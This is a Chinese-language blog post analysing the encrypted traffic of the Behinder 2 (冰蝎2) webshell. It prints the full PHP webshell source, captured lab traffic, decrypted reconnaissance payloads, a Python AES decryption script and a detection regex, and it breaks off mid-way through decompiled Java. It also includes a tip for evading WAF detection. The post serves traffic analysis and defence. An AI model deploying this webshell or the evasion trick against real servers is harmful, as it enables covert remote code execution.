冰蝎2流量分析,解密以及其防守姿势

2024-04-10 09:03:47

冰蝎2

文章目录

冰蝎2

流量分析(php)

1.先来截图一下一下webshell

<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
  //这里如果接收到get请求的pass参数
{
    $key=substr(md5(uniqid(rand())),16);
  //生成16位的随机秘钥用md5加密
    $_SESSION['k']=$key;
  //将上方生成的KEY存储到SEESSION中
    print $key;
}
else
  //如果没接收到pass参数，利用存储的KEY进行解密
{
    $key=$_SESSION['k'];
  //接收执行的命令
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
    //使用oppenssl进行AES128加密(这里要注意他用的AES128解密的时候也需要用这个)
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
  //将解密后的$post以'|'分割为数组。
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __construct($p) {eval($p."");}}
  //创建C类，利用__construct中的eval来执行解密后的值
	@new C($params);
}
?>

2.通过上面解读的webshell,按照流程绘制了一个大致流程图

经过查阅网上文章，冰蝎2采用了一个叫密钥协商的机制首先客户端以Get形式发起带密码的握手请求，服务端产生随机密钥并写入Session。
客户端将源代码，如assert|eval(“phpinfo();”)利用AES加密，发送至服务端，服务端收到之后先进行AES解密，得到中间结果字符串assert|eval(“phpinfo();”)。
服务端利用explode函数将拆分为一个字符串数据，索引为0的元素为字符串assert，索引为1的元素为字符串eval(“phpinfo();”)。
以可变函数方式调用索引为0的数组元素，参数为索引为1的数组元素，即为assert(“eval(”phpinfo;”)”

3.接下来来测试冰蝎2的流量特征

1.首先可以看到冰蝎2 在每一次链接是都能看到一个get请求?pass=[三位数字]的数据如下
2.这个?pass=[三位数字] 一共可以看到两次，第一位点击测试链接时产生的get请求，第二次为正式链接(且产生随机的秘钥)
接着我们抓取流量分析后就查看到了这两次的16位随机数秘钥。
流量包详情贴到了下方

GET /hackable/uploads/shell.php?pass=568 HTTP/1.1
Content-type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100101 Firefox/6.0
Host: 182.92.99.52:8080
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive

HTTP/1.1 200 OK
Date: Mon, 25 Oct 2021 12:45:27 GMT
Server: Apache/2.4.10 (Debian)
Set-Cookie: PHPSESSID=kcf0arst79bitmeui2ehqsh823; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 16
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

c9f8fc1a790178cbGET /hackable/uploads/shell.php?pass=604 HTTP/1.1
Content-type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100101 Firefox/6.0
Host: 182.92.99.52:8080
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive

HTTP/1.1 200 OK
Date: Mon, 25 Oct 2021 12:45:27 GMT
Server: Apache/2.4.10 (Debian)
Set-Cookie: PHPSESSID=63rgf6shedfsohgo0mllgdhjf3; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 16
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

07c5ab0f2720b534POST /hackable/uploads/shell.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=63rgf6shedfsohgo0mllgdhjf3; path=/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100101 Firefox/6.0
Cache-Control: no-cache
Pragma: no-cache
Host: 182.92.99.52:8080
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
Content-Length: 1112

GkXFPbZxJ61WnuOWm816kgFM/glFFSGuVTyRXcjJTl0Dkk6qjgAq/GChn5MuTa9XaTos41W/GBo5ub12sHai+HRR69xVsV8G4gdRmq1RqwfWci6fMf/4jfGegjcytv3T+0jwzNQp2C8kzuTcJ8vkCKnTpJlvXH6DsnexB/x8ZJK9HQ3awn7HiGLMlx4pKSvNeQ655H0F6qmpkru3PEZtFKzcnS6yvME8vyavZYmOiIN3BXOqRxKxFi5CfVlZ5sxuQyDrXodvxmvg66Tbb2kIs0K1umQL7+jsKUiWPqup+QFGKhslIofz7NcBFO1pp6v2QKS/Gfjas0f41OgKzeVy3BxLlYUysIA+rn7KXswwWvkB7GN/dyod1dj143VCIQ714j6CTQtt/eU8BrjPnKl1UD5+Pp6mDvjogy+hzeQPjZqyDjfM0kLdLwkI17yUOKKJY0R+cGGsfoDY05rp1M9JYqVcZXIQda9WarbwBVywwmdhHjadkHdcWu407g4UwKP1596Z9mXiPWdpFCO3JHIV+3B6q3wioaWszz0fVX74bqi8eKlS312STISyHs8g/85sZ+tgNZbJCZqQwO3RGHOCMJYcR0Tfb6qZ6YnRZaIGC25XGu08kpn7j4ItnnDSuxJm9DYUPEGqextfj2myscmul1UPVyE9FAXaIwDj06B6JRCdgrme/TAF+5GdM+Cv0dwJ0DEc3lJbRdcPCC2VyVc9DGB0I1fUWIHnjVAHdmlKTNBOgPkoY9jPzTejrXvkosPRYWrfo8uvIuzGpjrTdW46p9uiUA6qizaZDPc9DaH3T7uNR/Zsecxlg4IsyNFy+/wHs7NFPwbKiLCAGWD31erS4U7ZUES5TQ46kIgAn3y+9Z3VkP864//OlKX13gGrx9Fo/rh8KE60sT0Kw5RcEXzYAiReO87y4ogy9RJQ2dpKD+epDsA497WnjxW3rtKG4cFDrGCI9TDwzai4hvIScUyyNafLPcm2JyFPd1WXNyPoVsF3DFPruxYMHWxHNP2rNFgOv2pHaZfGvrP7lDyNwb9Dk8MWEKAoZMq4PaavqilGmoVbHQNwbdCpAuN7/KQ5DjGPI3rylZjpLOlR2tgjc5DRoQ==HTTP/1.1 200 OK
Date: Mon, 25 Oct 2021 12:45:27 GMT
Server: Apache/2.4.10 (Debian)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 128
Keep-Alive: timeout=5, max=98
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

gpA2wL3wEoI49z2DtWA+EAB9lKqd2z6HF5/1m3FUbGJ1o5h0o7aqQQQT6qKj/0tPTIUjQrKvyTHhtIQYLhJsO77C91R9YZOPC1KEOcQfik/mzBiL+dbF1+gVkycAGfca

按照流程图接下来互相协商完秘钥就该传送payload了，我们可以解密一下他的流量

流量解密

1.首先将第二次的秘钥填入密码内，将post请求内容放入解密

先试用AES进行解密
解密地址:https://www.qtool.net/aes

值得注意的是phpshell解密需要选择cbc模式

2.解密成功

assert|eval(base64_decode('QGVycm9yX3JlcG9ydGluZygwKTsNCmZ1bmN0aW9uIG1haW4oJGNvbnRlbnQpDQp7DQoJJHJlc3VsdCA9IGFycmF5KCk7DQoJJHJlc3VsdFsic3RhdHVzIl0gPSBiYXNlNjRfZW5jb2RlKCJzdWNjZXNzIik7DQogICAgJHJlc3VsdFsibXNnIl0gPSBiYXNlNjRfZW5jb2RlKCRjb250ZW50KTsNCiAgICAka2V5ID0gJF9TRVNTSU9OWydrJ107DQogICAgZWNobyBlbmNyeXB0KGpzb25fZW5jb2RlKCRyZXN1bHQpLCRrZXkpOw0KfQ0KDQpmdW5jdGlvbiBlbmNyeXB0KCRkYXRhLCRrZXkpDQp7DQoJaWYoIWV4dGVuc2lvbl9sb2FkZWQoJ29wZW5zc2wnKSkNCiAgICAJew0KICAgIAkJZm9yKCRpPTA7JGk8c3RybGVuKCRkYXRhKTskaSsrKSB7DQogICAgCQkJICRkYXRhWyRpXSA9ICRkYXRhWyRpXV4ka2V5WyRpKzEmMTVdOyANCiAgICAJCQl9DQoJCQlyZXR1cm4gJGRhdGE7DQogICAgCX0NCiAgICBlbHNlDQogICAgCXsNCiAgICAJCXJldHVybiBvcGVuc3NsX2VuY3J5cHQoJGRhdGEsICJBRVMxMjgiLCAka2V5KTsNCiAgICAJfQ0KfSRjb250ZW50PSJkMDgzODhmYS01ZDNiLTQyMTItOWRkZi03Y2I5MjU0MWEwNjgiOw0KbWFpbigkY29udGVudCk7'));

3.将解密好的文件中有base64的加密内容再次解密

4.解密后结果

@error_reporting(0);
function main($content)
{
	$result = array();
	$result["status"] = base64_encode("success");
    $result["msg"] = base64_encode($content);
    $key = $_SESSION['k'];
    echo encrypt(json_encode($result),$key);
}

function encrypt($data,$key)
{
	if(!extension_loaded('openssl'))
    	{
    		for($i=0;$i<strlen($data);$i++) {
    			 $data[$i] = $data[$i]^$key[$i+1&15]; 
    			}
			return $data;
    	}
    else
    	{
    		return openssl_encrypt($data, "AES128", $key);
    	}
}$content="d08388fa-5d3b-4212-9ddf-7cb92541a068";
main($content);

5.上方的success为成功的意思，接下来的数据同上解密

{"status":"c3VjY2Vzcw==","msg":"NTI1NDg1YzAtNWRkMS00MjExLTk4MWUtZjc3ZDE3NGQ2Y2Zh"}

c3VjY2Vzcw== 为success
NTI1NDg1YzAtNWRkMS00MjExLTk4MWUtZjc3ZDE3NGQ2Y2Zh 为525485c0-5dd1-4211-981e-f77d174d6cfa 与请求重的$centent 值相同

6.phpshell 的接下来请求为phpinfo的获取

error_reporting(0);
function main() {
    ob_start(); phpinfo(); $info = ob_get_contents(); ob_end_clean();
    $driveList ="";
    if (stristr(PHP_OS,"windows")||stristr(PHP_OS,"winnt"))
    {
        for($i=65;$i<=90;$i++)
    	{
    		$drive=chr($i).':/';
    		file_exists($drive) ? $driveList=$driveList.$drive.";":'';
    	}
    }
	else
	{
		$driveList="/";
	}
    $currentPath=getcwd();
    //echo "phpinfo=".$info."\n"."currentPath=".$currentPath."\n"."driveList=".$driveList;
    $osInfo=PHP_OS;
    $result=array("basicInfo"=>base64_encode($info),"driveList"=>base64_encode($driveList),"currentPath"=>base64_encode($currentPath),"osInfo"=>base64_encode($osInfo));
    //echo json_encode($result);
    session_start();
    $key=$_SESSION['k'];
    //echo json_encode($result);
    //echo openssl_encrypt(json_encode($result), "AES128", $key);
    echo encrypt(json_encode($result), $key);
}

function encrypt($data,$key)
{
	if(!extension_loaded('openssl'))
    	{
    		for($i=0;$i<strlen($data);$i++) {
    			 $data[$i] = $data[$i]^$key[$i+1&15]; 
    			}
			return $data;
    	}
    else
    	{
    		return openssl_encrypt($data, "AES128", $key);
    	}
}
main();

6.这里执行了phpinfo的获取

进阶解析

通过上方实验可以看出
两次pass 是因为第一次是测试连接，第二次是正式连接(且会存在随机产生的秘钥)
用秘钥AES对解密后-在进行base64解密直接还原了原本的数据
作为防守方：可以写正则匹配\w+=\d{3}$
作为攻击方：可以将pass后面的三位数字的值，手动改成更多位是绕过waf

流量分析(jsp)

jspshell 也采用AES形式进行加密

直接亮出解密代码

修改代码

python脚本

#coding:utf-8
import base64
from Crypto.Cipher import AES  
import binascii
import json   #注：python3 安装 Crypto 是 pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple pycryptodome<br><br>
#解密
def aes_decode(data, key):
    try:
        aes = AES.new(str.encode(key), AES.MODE_ECB)  # 初始化加密器
        decrypted_text = aes.decrypt(data)  # 解密
        decrypted_text = decrypted_text[:-(decrypted_text[-1])]  # 去除多余补位
    except Exception as e:
        print(e)
    return decrypted_text
 

 
if __name__ == '__main__':
    key = 'bff6f68a478bdab2'  # 密钥长度必须为16、24或32位，分别对应AES-128、AES-192和AES-256
    data = "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"    # 待加密文本
    data=base64.b64decode(data)
    
    # mi = aes_encode(data,key)
    # print("加密值：",mi)
    # s=aes_decode(data,key)
    #print("解密值：",s)

    a = aes_decode(data,key)
    open('1.class','wb').write(a)
    


    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    s=binascii.a2b_hex(s)
    s=aes_decode(s,key)
    # import json
    s=json.loads(s)
    
    for i in s:
        print(base64.b64decode(s[i]))

修改好以后保存脚本 python3运行

安装依赖库
 python3 -m pip install -i https://pypi.tuna.tsinghua.edu.cn/simple pycryptodome

用反编译工具(jadx-gui)打开

下载地址:
https://github.com/skylot/jadx
https://github.com/skylot/jadx/releases/tag/v1.2.0

这里打开就看到解密命令内容为"ls"
反编译的代码如下

package net.rebeyond.behinder.payload.java;

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.nio.charset.Charset;
import java.util.HashMap;
